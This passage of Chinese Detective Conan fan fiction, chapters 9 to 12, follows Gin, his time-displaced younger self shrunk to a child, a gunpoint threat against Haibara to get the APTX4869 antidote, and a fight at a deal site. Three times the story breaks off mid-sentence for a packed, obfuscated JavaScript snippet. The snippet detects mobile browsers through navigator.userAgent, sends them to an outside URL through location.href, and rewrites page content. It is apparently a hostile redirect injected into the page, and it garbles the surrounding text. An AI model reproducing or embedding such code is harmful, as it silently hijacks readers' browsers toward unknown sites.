黑泽阵黑着脸,把话题扯回来,问出心里已经有八九分确定的事:“那些我还没有经历的穿越,是不是逆着时间发生的?” 琴酒这回没有立刻回答,他合上了那本书,黑泽阵瞥见书的封面上写着《你的六岁孩子》,注意力被分走了一点。 “你想到了组织的那句话?”琴酒把书放在一边,站起身,走到客厅的酒柜,拿出一支苦艾酒,放在黑泽阵面前。 绿油油的瓶身映在两人眼里,他们说的这个话题和那个女人有着密切的话题,因为最开始,他们就是从贝尔摩德口中听到那句话的。 “我们既是天使也是魔鬼。我们要逆转时光的洪流,让死者复生。” 9.第 9 章 “有点中二。”黑泽阵评价,“贝尔摩德为什么能够把这句话挂在嘴边。” 琴酒说:“那你要问贝尔摩德是怎么想的。她不是一向都这样神神叨叨吗?” “听起来这十年里面你和她关系亲近了不少。”黑泽阵想到了伏特加的那些无厘头的揣测,有点不太高兴。 “她比任何组织成员都清楚组织想要做什么。”琴酒说,“只是这个女人自称是神秘主义者,如果不是她自己想说,没人能够从她嘴里问出事情。” “逆转时光的洪流,让死者复生。”黑泽阵话题扯了回去,“我们的情况,你觉得算吗?” “你死了?”琴酒之前猜的也是。 黑泽阵没有立刻回答,对他来说,这不过是发生在前两天的事。他反问琴酒:“你想要对账?” “差不多。”琴酒当然知道那一天发生了什么,但具体是为什么导致的黑泽阵死了,他却没死,他对这一点略有猜测,不过更想先听一下黑泽阵是怎么说的。 黑泽阵虽然丢掉了一些记忆,但关于濒死之前发生的事,还是记得一些。 他是在完成组织任务的时候遇到了麻烦。说具体时间的话,是在十二月三十一日,那一年的最后一天晚上。他不在日本,在美国密歇根州。密歇根州十二月常年下雪,那一天同样,漫天是飘扬的雪,路上的人寥寥无几,行色匆匆地撑着伞,厚重的雪伴随寒风卷席,压得伞和人一同弯下腰来。 黑泽阵穿着一如既往的黑衣,没有撑伞,他站在老旧的建筑旁,残缺的屋檐勉强帮他遮去一点雪,但还是有不少落在了他身上,他懒得去抖掉,相比起大部分日本人或者美国人,他不那么怕冷,所以他只是安静地站在那里,仍由寒意透过衣服渗进身体和骨头,听着隔壁杂货店里收音机播放的电台。 他在等任务目标。是一个很无趣的任务,和某个组织的合作者交易,把对方想要的东西交出去,然后拿回组织想要的东西。无趣,无聊,无意义。 “……是一个时代的结束,是新时代的开始……”电台里面讨论的是他最不想听到的事情。黑泽阵冷着脸,前来汇报情况的手下正好上前,被他的脸色吓到,一时没敢上前。 “什么事。”黑泽阵低头看着这个组织底层,希望他能够带来一点有意思的消息。 组织底层成员犹豫了一下,想到毕竟琴酒是代号成员,还是没敢小瞧青年,带上了尊敬的称呼,“琴酒……大人。我们的人发现了一点异常,您说不管什么事都要和您说,所以他们让我过来了。” 那人说着,一边从口袋里拿出了窃听的设备,双手递给了黑泽阵。 确实有意思。黑泽阵听了几秒,心想组织的人都是一群蠢货。他扯掉窃听设备,大步地走出了屋檐下,一边毫不客气地骂:“蠢货,我让你们监视的目标早就跑了,你们听不出来这种洗澡的水流声底下根本没人吗?” 组织底层惶恐地跟在他身后,结结巴巴地问:“那、那大人,我们现在要怎么做?” “去死。”黑泽阵冷笑。 他没有时间再管组织底层的死活,甚至不太有时间去想是哪个环节出了问题。也不对,他知道,他的错,他不应该把看起来简单的事情交给蠢货去做,没想到这么简单的事情也能出错。黑泽阵神色阴郁,他抽出了口袋里的枪,没有太多的反思时间,他现在需要从这里逃走。 目标的异常意味着交易出现了问题,是对方的势力临时反悔?不像。黑泽阵的大脑转得飞快。组织手里有对方想要的东西,他们没有临时反悔的动机。这里是美国,所以很有可能是官方势力插手了,FBI或者是CIA,很有可能已经包围了这一块,所以街上才会只有寥寥无几的人,并不是因为今天雪很大,而是因为他们疏散了部分的人群。 黑泽阵并没有慌张,他遇到过很多次这种情况,只是这一次要更加糟糕一些。他把黑色的风衣扔在了不起眼的地方,穿在里面的衣服有些单薄,但从颜色上来说更好地遮掩自己。 黑泽阵撑起从杂货店顺来的伞,一边迅速地在手机里面安排退路,一边谨慎地观察着周围的人,他很快意识到这些被剩下的人其实都是普通人,他们被留在这里,并不是因为对方不担心他对普通人出手,而是因为他们被放弃了。 黑泽阵握紧了枪,忽然又有点怀疑这是否是组织对他的又一次试探。 “砰!”子弹的声音在空旷的街道上响了起来,街上不多的人发出了一声又一声的尖叫,人们四散而逃,黑泽阵看准机会,摸走了一个人的车钥匙,顺利地弄到了一辆车。 他踩下油门,听到了同样轰鸣而起的发动机的声音,他从后视镜看了一眼,有四辆车朝着他撞了过来。 他没时间去关上汽车里自动打开的广播,尽管里面依旧说着他讨厌的话题:“……的结束……” 该死,全美国人都在关心这件事吗? 黑泽阵带着怒意把油门踩到底,以玉石俱焚的劲头朝着选中的一辆车冲了过去。不出意外的,那辆车下意识地放缓了速度,车头偏转,想要躲避。 是真的觉得他会撞上去吗?黑泽阵在两辆车几乎要撞到一起的时候猛地扭转了方向盘,汽车的轮子在地上发出尖叫,两辆车车身挨在一起,剧烈摩擦出刺耳的声音,黑泽阵抬手扣动扳机,接连几颗子弹打出,车窗破碎的声音和子弹射入血肉的声音一起响起。 广播声喋喋不休:“……期待世界和平稳定……” 黑泽阵松开了方向盘,一拳锤在了广播的音响上,广播终于哑巴了,可是不到两秒,广播顽强地重新支棱了起来:“的、的、的、前、前、前、景、景、景……” “然后我就死了。”黑泽阵说。 “……”琴酒没有想到他的记忆只停留在了这里。他有点无语:“你说的这些我都知道。” “哦,你也没问我丢了什么记忆。”黑泽阵理直气壮。他当然知道自己肯定不是死于一拳把广播音响打碎。但后面的事情他确实不太记得了,偶尔浮现的都是一些碎片,碎片里只有白茫茫的一片大雪。 两人沉默了一小会儿,都看着桌子上那瓶苦艾酒。 安静的时间没有到一分钟,两人又几乎同时开口了。 “我想喝一口。” “等你完全恢复记忆再说。” 琴酒不紧不慢地按住了黑泽阵——他正伸长手想要去摸那瓶酒,差一点就要碰到了。 “小孩子不能喝酒。”琴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872349|158025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒另一只手拿起酒瓶,把酒瓶放在了黑泽阵现在够不着的高度。 黑泽阵阴沉沉地看着他,他说:“我上一次恢复十九岁,就是喝了白干,中国的烈酒。” 琴酒知道他是想试试能不能再变回去,他拒绝也正是因为他清楚黑泽阵的想法。不过他说出的理由更加正当:“光靠喝酒你只能维持一小段时间。况且你不能确定你是不是因为喝了酒才会变回去。” 他触碰到了黑泽阵嘲讽的眼神,知道他没有听进去,并且完全看穿了他的想法。琴酒松开了一点力气,黑泽阵立刻挣脱了他的手,重新缩回了沙发里。 “恶心。”黑泽阵突然说。 琴酒撇嘴。这话倒是没错,这种所有想法无法掩饰,一眼就被看穿,完全暴露在另一个人面前的感觉,确实有些恶心。 但也同样的,让人…… 心跳加快。 最了解我的人,果然只会是另一个我。 “已经十年了。”琴酒说。他站了起来,走到了窗户旁边。 东京没有下雪,相反的现在是个好天气,不算热也不算冷,阳光被阻挡在窗帘外,但能想象到应该是暖洋洋的。 他已经很久没有回过莫斯科了。 二十九岁的琴酒不属于克格勃也不属于组织,但十九岁的黑泽阵属于克格勃。 琴酒不喜欢这样。他在十年里已经确定了自己的阵营,阵营里只有他自己,琴酒和黑泽阵。但现在只经历了一次穿越的黑泽阵什么也不知道,他坐在那里,满心满眼都是已亡的巨人。 “对我来说只是一周前发生的事。”黑泽阵的脸色冷了下来,“这就是你不想让我恢复原来样子的原因吗?” 他不知道自己的身体为什么会发生变化,他会从十九岁变成三岁,大概率是因为雪莉研发的药物。喝酒恢复年龄是短暂的,而从三岁变成六岁看起来是穿越带来的影响,目前看起来是不会逆转的。然而这些都充满了极强的不确定性,黑泽阵讨厌这种感觉,他迫切地想要恢复原来的年龄,获得自由。 现在琴酒却要阻止他。 琴酒不置可否,他看了眼手机,说道:“我要去做任务了,你好好待在家里。雪莉的事我会让人去查的。” 好好待在家里?黑泽阵跳下沙发,站在琴酒面前仰头看着他,一字一顿地说:“我知道你在想什么,不、可、能。”他不觉得同样是琴酒,另一个自己有能力把他永远地关起来。 “哦。”琴酒看了他一眼,中肯地说,“六岁的你瞪人还是很可爱。” “……”果然,当你弱小的时候,就算想要说点狠话都会被认为在开玩笑。黑泽阵又在心里的本子上记了一笔,等他恢复原样,绝对会报复回去的。 “你这样只会让我怀疑你真的成了恋tong癖。”黑泽阵面无表情地说。他能够猜到琴酒在想什么,猜得到另一个自己想要做什么,对自己做什么,却并不代表他能够理解或者接受。 琴酒与黑泽阵对视,他心情还算好,轻笑一声,说:“你知道我不是。我只是觉得外面的世界对你来说太危险了。” “Ты ебанутыйчтоли.”黑泽阵低声用俄语骂了一句。另一个自己果然是神经病。 10.第 10 章 真是让人不爽。在两人的对视里,黑泽阵先移开了视线。他不会听琴酒的话,相反的,他现在更加迫切地要找到变回原来样子的方法——仰着脑袋和另一个自己说话的感觉甚至能称得上是耻辱。 不管是琴酒还是黑泽阵其实都心知肚明,他们是没有办法把另一个自己完全地关起来的,一模一样的性格、喜好、习惯,再加上现在两人之间还有着让人捉摸不透的共感,都是阻挡琴酒想要把黑泽阵关起来完全属于自己的障碍。 琴酒知道,就算黑泽阵现在只有六岁,他也总会找出办法恢复身体,琴酒不会小看另一个自己,或者说他绝对相信着自己。 不过琴酒有意没有告诉黑泽阵,雪莉手里就算有解药,估计也是临时的。他还记得杯户饭店那一晚,雪莉出现过,他有意放走雪莉,想要以此找出雪莉的踪迹,却仍然没找到任何线索,想来只有可能是又变小躲了起来。 黑泽阵在找到雪莉后,大概会因为这个坏消息而生气。琴酒心想,他对这一幕略感期待。这也是为什么琴酒会直接地把自己那些恶劣的想法表现出来——惹恼另一个自己是件很有意思的事。 就像刚刚,他们俩都清楚琴酒说的话不过是一点无伤大雅的表态。琴酒也还是再一次让黑泽阵感到了恼怒。 琴酒弯下腰,在黑泽阵后退之前,他伸出手指,飞快地想要戳一下黑泽阵的脸。 黑泽阵站在那没动,因为知道后退也来不及,所以琴酒很容易地得手了。 琴酒见他脸上什么表情都没有的样子,有点遗憾,说道:“六岁没那么可爱了,你想看你三岁时候的照片吗?我拍了照。” “滚。”黑泽阵吐出一个词,他又一次被恶心到了。在他们眼里,大部分的小孩都是一个样子——很好掐死的样子。琴酒会这么说纯粹是为了恶心他。黑泽阵飞速运转着大脑,想要找到一个能够报复回去的办法。 琴酒一眼就看穿了他在想什么,读懂自己是一件再轻松不过的事,他刚想说话,就听见了敲门声。 也只有伏特加会来敲门。琴酒看了看手机,上面果然有几条未接的通话。好像是让伏特加等得比较久了。 琴酒推开门,伏特加站在门外,脸上是松了口气的表情,然后很快变成了惊讶。琴酒知道这种变化大概是因为看见了六岁的黑泽阵。 他没想过要怎么和伏特加解释黑泽阵的变化,不过也不需要解释。琴酒迈开步伐,说:“走……”他还没走出去,就感觉到腿上一沉。 “妈妈!” 小孩子稚嫩的声音在两人耳边响起,伏特加原本都跟着琴酒要走了,听到这个词猛地一扭头,差点把自己脖子扭出问题。 黑泽阵面无表情地抱着琴酒的大腿,仰头看着琴酒,感觉自己同样作出了很大的牺牲,他张嘴:“你把我生下来,却连个小学都不让我上,渣爹。” 现在是白天,外面的街道上还能传来一些人嘈杂说话的声音,但只有三人的空间里是死寂的,直到伏特加的手抖得握不住手机,终于把手机掉在了地上,发出“啪嗒”一声。 伏特加手忙脚乱地蹲下身去捡手机,他低着头在明显只有一部手机的地面上乱摸着,不敢抬头去看琴酒的脸色。 黑泽阵满意地欣赏着琴酒脸上来回变换的神情,觉得自己没有白白牺牲。 琴酒有半分钟没有动手,他沉沉地盯着黑泽阵,咬了下后牙槽,竟是笑了出来,他伸出手拎起黑泽阵,语气甚至可以称得上温和——下一秒就要开枪送你去死的那种杀气腾腾的温和——琴酒说:“你想去哪个小学?米花小学、中央小学、西天小学,都可以,只要你愿意,我这就送你去。” 这些都是你编的吧。黑泽阵看着他,两人眼神碰在一起,琴酒凑到他耳边,嘲讽地叫了现在只有他在用的名字:“阵、酱,小、学、生。” 下一秒黑泽阵就要被他甩开了,但在被甩开之前,黑泽阵眼疾手快,或者说是嘴快,狠狠地咬在了琴酒的手腕上。 琴酒用来抓他的手是惯用手,是左手,此时被他用力咬着,两人同时感觉到了手腕上反馈的痛楚。 伏特加在旁边倒吸一口冷气,赶紧捡起了一直没捡起来的手机,下意识地拔出了枪:“大、大哥!” 没有人理他,琴酒用右手拽住黑泽阵的头发,把他从自己手腕上扒了下来,黑泽阵舔了舔唇,尝到了血的铁锈味。他看向琴酒的左手手腕,上面果然出现了清晰的牙印,还有些地方破了皮,血慢慢地从皮肉中溢出。他感受到自己的手腕也在火辣辣地痛,但没有什么不好的,反正他没有流血。 琴酒从口袋里拿出手帕,慢条斯理地把血迹擦去了。他看了眼伤口和牙印,语气听不出是讽刺还是称赞:“牙很锋利。”他说完这句话,看了眼伏特加手里的枪,伏特加赶紧把枪垂了下去,不敢再对着黑泽阵。 伤敌一千,自损八百,但是很诡异的是,双方都没有感到不悦。 伏特加站在那,默默地又把手枪收回了口袋,虽然不知道到底发生了什么,但好像这里没有他的事。他感觉自己是不是不应该在这里。 ----------- “给他办一个假身份。”琴酒说。显然指的是黑泽阵。 他们在去做任务的路上,伏特加开的车,听到这话犹豫了一两秒才应下:“是。” “有什么问题?”琴酒注意到了他的片刻犹豫。 “呃,大哥,名字年龄身份什么的,有要求吗?”伏特加问。 他不是第一次被要求做假身份,琴酒自己当然用不上,他张扬的银白色长发让他用不上假身份。大部分时候都是琴酒让他帮别人做的,伏特加不知道那些会用到假身份的人是谁,一般都是琴酒直接给他大致的要求,让假身份和要使用的那人更加贴合。 琴酒没有立刻回答,他难得也有些拿不定。他脑海里闪过黑泽阵的脸,三岁的,六岁的,还有十九岁的。 琴酒说:“黑泽阵,六岁,先这样。” 他把烟按灭在车上的烟灰缸里,最后说道:“身份是‘我’的弟弟。” 伏特加一愣,第一个反应是居然不是儿子是弟弟吗?好像也不是很奇怪毕竟能够在一天内从三岁变成六岁的孩子肯定不普通。然后黑泽阵这个名字怎么总觉得在哪里听过。第二个反应才是:琴酒似乎并没有要用把这个孩子藏起来的意思。 虽说琴酒用不上,但实际上琴酒也有自己的假身份,组织也知道的假身份。也就是说,如果黑泽阵使用这个假身份,组织的人迟早都会知道琴酒身边多出了这么一个人。黑泽阵的存在让组织知道真的没有关系吗? 琴酒嗤笑一声:“你不会真的以为他是我儿子吧。” 伏特加猛烈地摇头,不承认自己真的这么想过,干巴巴地说:“没,没有。”他不敢多问,满腹疑惑,但知道琴酒肯定另有安排。 “他很重要。”琴酒说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14881895|158025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他看向车窗外。他们现在还没有开出很远,周围是很普通的街道,是很多人每天上下班、上学放学回经过的道路,此时正好是学生放学的时间,国中生或者是高中生散三三两两地走在一起,算得上是热闹,很平凡的景色。 琴酒冷淡地看着,他从未经历过这种场景,他在很小的时候就被选中了,别说国中,连小学都没有上过。同样的,黑泽阵也没有经历过这些。 不过现在有机会了。琴酒想。他并不是真的要把黑泽阵一直关在家里。面对另一个自己,还是共感的情况下,一是很难做到,二是很无趣。 不过现在可以让事情变得有趣一些。琴酒对伏特加说:“今天之内让人去催板仓卓那家伙,让他找个时间把软体交出来,然后把人解决掉。” “是,大哥。”伏特加应道。 琴酒想了想,补了一句:“买些适合小学生穿的衣服过来。” 伏特加又点点头,忍不住好奇黑泽阵的真实年龄,如果是像贝尔摩德那样返老还童……黑泽阵的年龄不会其实已经很大了吧?伏特加脑海里浮现出一个和大哥长得很像的人,变小,然后穿着小学生的衣服去杀人。 不不不不不。他疯狂甩头,试图把这个可怕的脑补甩出去。他赶紧转移注意力,开始琢磨黑泽阵这个名字,心想怎么听都还是很耳熟啊。 伏特加想起来了!大哥以前不就用过这个名字吗?嘶,连名字都给那个孩子了吗?大哥好爱。 伏特加想到这里,压低了声音,小声地发誓:“大哥,我绝对不会把黑泽阵的事告诉组织的。”既然大哥说了黑泽阵很重要,那一定是需要他好好重视,不能破坏大哥的计划! “我知道。”琴酒看了他一眼,毫不留情面地说,“我没觉得你会告诉组织,只是担心你会说漏嘴。” 他猜到伏特加一定误解了他的一部分意思。可能是觉得他那句话是在说,黑泽阵对组织来说很重要。 某种意义上来说也差不多,不过琴酒并不是这个意思。 他不在意伏特加是否能听懂,他本来也不是说给伏特加听的。琴酒把藏在袖子褶皱里的窃听器拿了下来,掐碎扔进了烟灰缸。 ----------- 黑泽阵放下窃听设备,扔进垃圾桶。 他是在恢复十九岁拿会儿,在琴酒屋子里摸到的窃听器,在琴酒出门的时候他觉得时机正好,就用上了。会去咬琴酒一口也是因为要顺利把窃听器放上——当然,不是没有更好的方法,只是他喜欢用这种简单粗暴的方式。 他不意外琴酒会发现窃听器,还知道琴酒肯定一开始就发现了,所有说的话都是为了让他听到而说的。 黑泽阵躺在沙发上,看着天花板,开始思考琴酒对伏特加说的话。但想着想着,思考的内容就从那些话的内容,变成了琴酒会说这些给他听的目的。 无趣!黑泽阵心想。这像是一场游戏,或者是挑战。琴酒对他发出邀请,以板仓卓这件事引起他的兴趣,想让他参与进来。然而,琴酒表面看起来是邀请他参与游戏,实际上却是在表示,就算是游戏,也只能由琴酒来发起,他有着绝对的掌握权,是游戏的主人。 真是讨厌的感觉,偏偏黑泽阵知道,琴酒一点没错,自己确实会接受这场游戏。 “幼稚。”黑泽阵说完,随手从身边的桌面上拿起杯子,把客厅仅剩的那个摄像头也打掉了。 也不知道谁才是六岁。 11.第 11 章 “小哀,你生病了吗?你看起来很不舒服。”步美担忧的声音在灰原哀耳边想起,灰原哀颤抖了一下,她没有睡着,只是在发呆,但还是有种从噩梦中惊醒的感觉。 她不需要照镜子也知道自己现在肯定是脸色苍白,额头满是冷汗,她挥开步美的手,对上步美忧心忡忡的视线,她脑海里闪过被击碎的玩具熊,下意识退后了一步,低低地说:“是有一点,可能昨晚着凉了。今天我先走了,我先回去休息。” 她很快地拎起早就收拾好的书包,不等少年侦探团的三个孩子跟上来,就飞快地往外面走了。只是她的异常瞒不住同样是服用APTX4869后变小的工藤新一——现在是江户川柯南了。 灰原听见身后传来的是属于小孩子的脚步声,很快很急,她明明知道大概率是工藤,但还是很轻微地哆嗦了一下。 “喂,灰原,你今天是怎么了?你这个样子,难道是……”柯南追了上来,压低声音问。他注意到灰原今天很不正常,一整天都心不在焉,下意识地避免和少年侦探团或者是他交流。这种状态和之前灰原感受到周围有黑衣组织的人时很像。 “没有!”灰原果断地说,话说出口就知道自己暴露了,她的声音尖锐,连她自己听了都知道这肯定是假话。灰原深吸一口气,以极低的声音警告了柯南:“江户川,你最近最好低调一些,什么也不要问我。” 柯南被她严肃中带着颤抖的语气镇住了,一时留在原地没有跟上来,灰原松了一口气,头也不回地继续往博士家的方向走。 “柯南,灰原是怎么了啊?”侦探团的几人跑到柯南身边。 柯南收起思考的神情,故作轻松:“她啊,又生病了吧,别管她了,我们去踢足球吧。”但在侦探团转身要去拿足球的时候,柯南脸上却又恢复了凝重。灰原只有在遇到组织的事情时才会有这种反应,而这次更加严重的是,灰原似乎觉得周围很不安全,甚至拒绝和他交流信息。难道说是有什么让灰原觉得自己被监视了吗?柯南环视了四周一圈,却什么也没有发现。 头顶上的天空正好有一块阴云飘过,一阵风吹来,柯南感觉到了一点寒冷,似乎有汹涌的暗潮在看不见的地方朝他们涌了过来。 黑泽阵才没有那个时间去监视一个没法往别的地方跑的小学生,他只是在深夜无声地拜访了雪莉现在的住处,顺便进行了习惯性的威胁。 昨夜,黑泽阵趁着夜色,堂而皇之地走进了名为阿笠博士的人的住宅,他查到这里住着的只有一个五十多岁的科学家,还有就是身体缩小后的雪莉。 如果是用原本的身体,他会选择翻进来而不是撬锁,但六岁的身体……他看了眼大门,果断选择了撬锁。不过,六岁的身体虽然不太好用,但比三岁的好,至少能够拿枪了。黑泽阵这么想着,握住了手里的枪,站在了雪莉卧室的门口。 他无声地推开门走了进去,轻盈的脚步让他没有惊醒床上的女孩——黑泽阵忽然不合时宜地想到,如果是琴酒这么做的话,可能就要被当成变态了。 不过雪莉如果见到琴酒,恐怕没有心情想那些。 黑泽阵对雪莉并不陌生,或者是说他对宫野志保并不陌生,按照他的时间线,他前几天才见过,还短暂地交流过。不过那个时候,八岁的宫野志保就已经被他吓得不轻了。 黑泽阵有点惋惜以自己的形象现在没法直接进行恐吓,但他想,或许只要把雪莉这一代号叫出来,宫野志保就会被吓得顾不上别的了。 黑泽阵没有再耽误时间,他伸出手,推掉了雪莉桌面上的一些化妆品。 化妆品打碎的声音吵醒了灰原,她睁开眼,还没等看一眼发生了什么,就感受到了太阳穴旁边冰凉的金属,听见了沙哑的分不出男女的声音:“好久不见,雪莉。” 恐惧在瞬间抓住了她的心脏,灰原牙齿都开始打颤,她一直以来的噩梦居然在此时此刻成为了现实。她浑身克制不住地发抖,理智让她哪怕看一眼来的人是谁都好,可她却连眼睛都不敢转动,只能隐隐约约感觉到余光中有一个浑身被黑衣笼罩的人蹲在她床边,举着枪。 那人明显是用了变声器,她分不出来是组织的哪个代号成员,只听见那人说:“我知道你手中有APTX4869的解药,全都拿出来。” 灰原一怔,她原本以为对方是要直接来杀死她的,都要咬牙做好了被开枪杀死的准备。 但APTX4869的解药……对方知道她手里有不奇怪,但是为什么? “动作快点。”黑泽阵不耐烦了。 灰原压下心底的困惑,把手里仅有的解药拿了出来,放在了床边。 一整个过程里,不知名的黑衣人始终把身形藏在暗柱,只有手/枪稳稳地对准着她,雪莉注意到这人是左撇子。 “说清楚有什么效果。”黑泽阵说,他没有着急去拿解药。他隐隐约约有种感觉,雪莉手里的解药,恐怕并不是他想要的那种。 灰原很想编造一些谎言,最好让这个不肯露面的家伙一口气吃完然后引发一些副作用。但对方好像一眼就看穿了她的想法,阴冷地笑了一声,忽然说:“你和那个此时正在房间里呼呼大睡的老头关系应该很好吧。如果出了什么问题,我会先杀了他,然后再杀了你,你最好老实交代。” 她不能……灰原最终还是什么都说了。 黑泽阵听了很是失望。大概是因为缺少了组织的资料,雪莉也没能做出永久的解药。他心情不好,语气也就更加冷:“转过去。” 灰原照做了,她闭上眼,知道自己恐怕今天就要死在这里了。组织的人对待叛徒,从来都是斩尽杀绝的态度。 “我会看着你的。”黑泽阵把装有解药的盒子拿了个过来,他抬起枪,在黑暗中准确地打中了灰原放在床头的玩具熊,“如果你把今晚发生的事告诉了别人,你身边的人都会没命。” 他说得很平静,却让灰原浑身颤抖,脑海里闪过了博士、少年侦探团他们的脸。甚至一时没有听出来对方并没有打算杀死她的意思。 “我知道了。”灰原低声应道。她听见了关门的声音,僵硬地站在那里不敢动,直到很久之后才敢回头,发现背后空空如也。那人没有杀她。 灰原久久地站在那,脑海里忽然划过一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890507|158025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大胆的猜测。有没有一种可能……这人并不是组织的人,而是和她一样,服用了APTX4869变小的成年人?所以才会找到她要解药,却没有要杀她的打算。但为什么那人会知道自己的代号?又为什么会知道她是制造这个药的人? --- 虽然拿到手的只是临时性的解药,但比没有好。黑泽阵早已回到了家中,他打量了一会儿胶囊,算了下时间,没有犹豫地服下了。 很快,从琴酒的安全屋中走出来的,就是十九岁的黑泽阵了。 黑泽阵选择接受了琴酒发起的游戏,但琴酒只透露了“板仓卓”和“软件”两个信息,剩下的都需要他自己去搜集。这对黑泽阵来说并不困难。十九岁的他和琴酒只有外貌上的一点点区别,稍加伪装,或者以邮件的形式,很容易就能借着琴酒的身份把情报弄到手。 组织很在意板仓卓的能力,想要让他开发一个软件,为组织所用。黑泽阵若有所思。他下意识地在想有没有什么方法能够提前把软件拿到手,下一秒就意识到自己现在已经不在原来的时空了。 更重要的是,不管在哪个时空,他都只有一个人了。搜集组织的情报,阻碍组织的行动,都不再有任何意义。 黑泽阵沉默地翻了一下手机,从琴酒那里拿来的手机里空空如也。黑泽阵感到烦躁,于是他决定去干扰另一个自己做任务。主打一个他不高兴,另一个自己也别想舒坦。 --------------- “晚上好,琴酒。”贝尔摩德的声音从手机那头传了过来,带着琴酒最不喜欢的神秘主义语气。 “有事直接说,我在做任务。”琴酒冷冷地说,他看了一眼时间,贝尔摩德几乎是卡着交易的时间打过来的。好在这一次贝尔摩德说的是他已经知道的事,减少了他的不悦。 “琴酒,你要担心了。”贝尔摩德对人类的声音和外形都很敏感,这为她在收集情报这一方面提供了不少便利,比如说这一次。她继续说,“似乎有什么人,在打着你的旗号招摇过市。” “还有事吗?”琴酒问。另一个自己而已,也不能算是打着他的旗号。 贝尔摩德心想琴酒真是一点面子都不给,不过她话也就说到这里,说再多就没意思了,于是她说:“没了,祝你任务顺利。” 她的话还没说完,忽然就听见电话那边传来了一点不对的声音。 嘈杂的声音响了不到一秒,琴酒的通话就挂断了。 是枪声。贝尔摩德挑了下眉,来了兴致。今天要交易的人并不是什么值得重视的对象,从声音的距离来看也不像是琴酒开的枪。这是出了什么意外吗?她想到琴酒好像就在这一带进行任务,于是决定易容去看一眼。 枪是黑泽阵开的。 子弹从伯.莱.塔中射出,精准地擦着琴酒的帽檐击中在墙壁上。 手机被挂断通话塞进口袋,琴酒回过头,看见黑泽阵结束无声的潜伏,从暗中跃出,像黑色的猛兽,朝着他扑来。 分明是要和他打一架的姿态,琴酒却有那么一点想要伸出手把人抱住,然后欣赏黑泽阵变脸的样子。 12.第 12 章 琴酒是这么想的,所以也就这么做了。 他先是站着没动,没有立刻伸出手,以免黑泽阵看出他的意图。 黑泽阵脸上带着只有他能够看出来的疑惑,大概是在想他为什么没有动作。琴酒看得出来黑泽阵在扑过来的过程中略微调整了一点动作,以便更好地应对他的反应。 只是琴酒要做的并不是回击或者是防御,他在黑泽阵的拳头即将落在脸上的时候伸出了手,微微侧头,仍由拳头从他的颧骨擦了过去,琴酒收紧手臂,如他所料的那样搂住了青年的腰。 手心的温度只维持了不到一秒,琴酒还没来得及打量黑泽阵的神色,青年就像被踩了尾巴的猫一样跳了起来,用力地给了他一脚,拉开了两人之间的距离。 黑泽阵远远地站着,神色古怪地看着他,一时没有上前。他的腰上似乎还留有另一个人的温度——其实不应该,他穿得很严实,而且琴酒带了手套——但这种感觉像是黏在了他的腰上一般,让他浑身不适。 打斗中的肢体接触再正常不过,但这显然不是在打斗。黑泽阵能够看穿琴酒所有举动所涵盖的意义,能够一眼看出琴酒在想什么。和前几次他在小孩状态下不一样,那些时候琴酒是确确实实想要惹恼他。而这一次……黑泽阵发现琴酒是真的想要伸出手占他便宜。 “……”黑泽阵真的很想知道到底是什么让另一个自己变成了现在这个样子,他自认为十九岁的自己在这方面还算是正常。他在组织处于上升期,每天都忙着做任务,没有精力去想这些乱七八糟的。 琴酒也没解释,黑泽阵一点也没留手,他被打到的颧骨一阵阵发痛,黑色的礼帽也被碰到了,斜斜地挡住了他的一部分视线,也难怪他刚才什么也没看清。 琴酒干脆摘下帽子,随手扔下,仍由风把帽子吹开在一旁,琴酒问:“你是打算每次变回来,都一定要和我打一场吗?” 黑泽阵警惕地站在那里,见琴酒并没有打算解释刚才那个行为的意思,知道琴酒这次又是打算带过这件事。他紧紧皱着的眉头松开,心想正好,他也不想说这个。破坏气氛,黑泽阵决定要把气氛拉回打架的样子。 “没什么不好的。”黑泽阵说,“免得你坐久了车,架都不会打了。” 下一秒是琴酒主动上前,黑泽阵犹豫了不到半秒,很快就动了手,两人扭打在一起,谁都没有自讨苦吃的用枪。 有脚步声在钢铁材质的楼梯上响起,不算很大声,却同时吸引了两人的注意力,黑泽阵的视角正好能清楚地看见楼梯出口,他看见有穿着橙色衣服的人在那出现,看见他们两人的时候露出吃惊的神情。 这一次的交易对象。黑泽阵很快搞清楚了琴酒这一次需要做的是什么,他转攻为守,视线迅速地在周围扫过。 橙色是显眼的跳色,在进行黑色交易的时候只有傻子才会选这种颜色。所以对方会穿这种衣服出现,大概是组织要求的——不过也是傻子,大概是没想过组织会选择杀人卸货。 不过黑泽阵并没有看见附近哪里有狙击手,他之前来过这里,观察过地形,确实有几个适合狙击的地方,但似乎琴酒并没有安排。 